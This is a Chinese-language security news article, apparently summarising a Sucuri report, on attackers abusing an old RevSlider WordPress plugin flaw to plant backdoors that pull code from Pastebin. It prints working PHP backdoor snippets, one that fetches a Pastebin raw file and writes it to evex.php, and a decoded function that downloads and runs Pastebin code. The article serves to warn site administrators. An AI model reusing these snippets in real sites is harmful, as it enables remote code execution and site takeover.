恶意软件新玩法:隐匿在Pastebin上的后门

  • A+
所属分类:WEB安全

快速分享文本、代码的网站Pastebin常常被黑客们用来分享自己的库、窃取的数据和其他代码,而现在它真的被用于黑客攻击了。

安全研究人员曾发现黑客们通过Gmail 草稿、Evernote等平台控制僵尸网络,而且近日又发现一个新玩法:黑客利用流行的WordPress插件RevSlider的老版本漏洞传播新的后门变种,使用Pastebin.com放置恶意软件。下面就让我们一起来看看黑客们的新创意吧。

另类后门

Sucuri公司近日发表了一篇博客,该博客详细解释了黑客是如何利用旧版本的RevSliderWordPress插件来传播一种新型后门,而该后门利用Pastebin.com网站服务来托管恶意代码文件。

恶意软件高级研究员Denis Sinegubko在博客中写道:

“这或多或少可以算得上是一个典型的后门。它从远程服务器下载恶意代码,并在受害网站上将这些恶意代码保存到一个文件中,使其随时可被执行。不过,比较有趣的一点是其远程服务器的选择,黑客既没将恶意代码文件托管在自己的网站,也不是肉鸡网站,而是在最受欢迎的Web应用网站Pastebin.com上。”

攻击者通过扫描目标网站来寻找含有漏洞的RevSlider插件。一旦发现,他们会利用RevSlider的另一个漏洞将后门代码上传到该网站。

if(array_keys($_GET)[0] == 'up'){
$content = file_get_contents("http://pastebin.com/raw.php?i=JK5r7NyS");
if($content){unlink('evex.php');
$fh2 = fopen("evex.php",'a');
fwrite($fh2,$content);
fclose($fh2);
}}else{print "test";} 关键后门代码

这是一份稍微复杂点的后门样本,是通过RevSlider漏洞上传的:

从截图中你可以看到这段代码将一段经过Base64编码的内容注入WordPress核心文件wp-links-opml.php中的$temp变量。以下是经过解密的$temp内容:

你可以看到它从Pastebin下载代码并立即执行。但这次只有当攻击者提供wp_nonce_once中的请求参数,也就是Pastebin的文章ID时才会运行。wp_nonce_once参数的使用使得管理员难以追踪恶意代码的具体地址(防止了网址被屏蔽),同时又增加了后门的灵活性———这样它就能够下载执行任何Pastebin上的代码——哪怕是那些一开始不存在的代码————只需要向wp-links-opml.php提供ID就行了。

FathurFreakz编码器

印度尼西亚黑客们有一款编码器与Pastebin配合默契。名字叫做PHPEncryptorbyYogyakartaBlackHat 或者是 byFathurFreakz。在Pastebin.com网站上粘帖创建PHP代码,软件就会加密那个Pastebin网址,生成混淆后的代码:

解密后:

function FathurFreakz($ct3){
xcurl('http://pastebin.com/download.php?i='.code($ct3));
}
FathurFreakz(CODE);

这段代码会下载执行Pastebin上的代码(使用xcurl函数),ID在CODE常量中,并且经过加密。你可以看到另外一种Pastebin网址种类:download.php,基本上它跟raw.php一样,但它提供HTTP头,使得浏览器不会显示内容,而是直接以文件形式下载。
经过解密的代码(看起来他们超爱用Pastebin……):

给站长们敲响警钟

黑客在实时攻击的时候大规模利用Pastebin网站,这给网站管理员敲响了警钟,提示他们要时刻维护网站的CMS(内容管理系统)以防止插件被恶意利用。

就在几周前,一款新型针对WordPress的恶意软件SoakSoak,其主要攻击手段也是通过RevSlider的漏洞,上传一个后门,然后对所有使用相同服务器的网站进行感染。当时SoakSoak攻陷了约10万个WordPress站。

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: